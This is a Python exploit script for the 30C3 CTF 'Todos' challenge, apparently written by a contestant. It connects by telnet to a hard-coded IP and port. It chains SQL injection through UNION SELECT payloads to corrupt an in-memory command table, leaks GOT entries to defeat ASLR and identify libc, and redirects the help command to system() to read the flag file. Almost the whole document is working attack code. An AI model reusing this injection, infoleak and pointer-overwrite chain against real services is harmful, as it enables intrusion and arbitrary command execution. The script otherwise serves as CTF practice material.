30C3 Todos Pwn Challenge Exploit

# 30C3 PWN Challenge TODOS Exploit
# aXs^Big-Daddy - http://codezen.fr

import telnetlib
import time
from struct import pack, unpack

def show_to_val(tn, num):
    tn.write("show "+str(num)+"\n")
    raw_data = tn.read_until("\n")[len(str(num)+':')+1:].strip() + "\x00\x00"
    return unpack('<Q', raw_data)[0]

HOST = '88.198.89.199'      # The remote host
PORT = 1234

tn = telnetlib.Telnet(HOST, PORT)

print "[*] Login"

tn.read_until("If you're new, try help\n")
tn.write("login aXs toto\n")
tn.read_until("logged in...\n")

#time.sleep(3)

#.data:0000000000203B68 num_results     dd 0                    ; DATA XREF: do_show+10r
#.data:0000000000203B68                                         ; do_search+A0w ...
#.data:0000000000203B6C                 align 10h
#.data:0000000000203B70 help_flag       dq 3                    ; DATA XREF: sub_14DE+60o
#.data:0000000000203B70                                         ; display_help+23o
#.data:0000000000203B78 ; char *ptr_commands
#.data:0000000000203B78 ptr_commands    dq offset aHelp         ; DATA XREF: .text:000000000000144Br
#.data:0000000000203B78                                         ; sub_14DE+4Ar ...
#.data:0000000000203B78                                         ; "help"
#.data:0000000000203B80                 dq offset aSomethingWentW+18h
#.data:0000000000203B88                 dq offset display_help
#.data:0000000000203B90                 dq offset aHelpPrintThisH ; "help: Print this help screen"

#0x7fc101a9cb68:    0x0f    0x00    0x00    0x00    0x00    0x00    0x00    0x00 num_results
#0x7fc101a9cb70:    0x03    0x00    0x00    0x00    0x00    0x00    0x00    0x00 help_flags
#0x7fc101a9cb78:    0xdc    0xb1    0x89    0x01    0xc1    0x7f    0x00    0x00 offset aHelp
#0x7fc101a9cb80:    0x62    0xb1    0x89    0x01    0xc1    0x7f    0x00    0x00 offset aSomethingWentW
#0x7fc101a9cb88:    0xa0    0xa7    0x89    0x01    0xc1    0x7f    0x00    0x00 offset display_help

print "\n[*] Prepare for infoleak with SQLi"

query = "search 9'"+ " UNION ALL SELECT 'A'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000) -- # \n"

tn.write(query)
tn.read_until("\n")

print "\n[*] Infoleak login function pointer"

do_login = show_to_val(tn, 11)
print "do_login=", hex(do_login)

print "\n[*] Calculate ELF base and pointers"

base = do_login - 0x19d0
print "ELF base=", hex(base)

aHelp = base + 0x21dc # "help" string
aHelp_hex = '0x%x' % unpack('<Q', pack('>Q', aHelp))[0]
print "help string offset=", hex(aHelp)

aSomethingWentW = base + 0x214a # "Something went wrong", useless
aSomethingWentW_hex = '0x%x' % unpack('<Q', pack('>Q', aSomethingWentW))[0]
print "Something went wrong string offset=", hex(aSomethingWentW)

display_help = base + 0x17A0 # display_help function
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]
print "help function offset=", hex(display_help)

got_plt = base + 0x00203000
print "GOT PLT base=", got_plt

off_read_plt = got_plt + 0x050
print "read@plt base=", off_read_plt

print "\n[*] Infoleak read@plt"

# We replace the pointer to the help command to the offset we want to leak

help_txt = off_read_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"+aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

s.recv(len("Commands:\n"))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

read_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "read_plt=", hex(read_plt)

print "\n[*] Infoleak setvbuf@plt"

off_setvbuf_plt = got_plt + 0x040

help_txt = off_setvbuf_plt
help_txt_hex = '0x%x' % unpack('<Q', pack('>Q', help_txt))[0]
print "help_txt=", hex(help_txt)

tn.read_until("\n")
tn.read_until("\n")

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"+aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")

s = tn.get_socket()

tn.write("help\n")

print "help=",repr(s.recv(len("Commands:\n")))
raw = s.recv(6)

tn.read_until("\n")
tn.read_until("\n")

setvbuf_plt = unpack('<Q', raw + (8-len(raw))*"\x00")[0]
print "setvbuf_plt=", hex(setvbuf_plt)

print "\n[*] Calculate distance between read and setvbuf in LIBC to find libc version"

print "- Precise: 0x753e0L"
print "- Raring: 0x7a3b0L"
print "- Chall: 0x7b010L"

check_plt = read_plt - setvbuf_plt
print "distance PLT=", hex(check_plt)
# Precise
#system_plt = read_plt - 0xa1240
# Saucy

print "\n[*] Calculate system libc offset"

system_plt = read_plt - 0x716be0
print "system libc=", hex(system_plt)

print "\n[*] Overwrite help command pointer to system"

display_help = system_plt
display_help_hex = '0x%x' % unpack('<Q', pack('>Q', display_help))[0]

query = "search 9'"+ " UNION ALL SELECT 'B'"*10 + " UNION ALL SELECT concat(0x0e00000000000000,0x0300000000000000,"+aHelp_hex+","+aSomethingWentW_hex+","+display_help_hex+","+help_txt_hex+") -- # \n"

tn.write(query)
tn.read_until("\n")
tn.read_until("\n")
tn.read_until("\n")

print "\n[*] PWN"

tn.write("help cat /home/user/flag\n")

print tn.read_until("\n")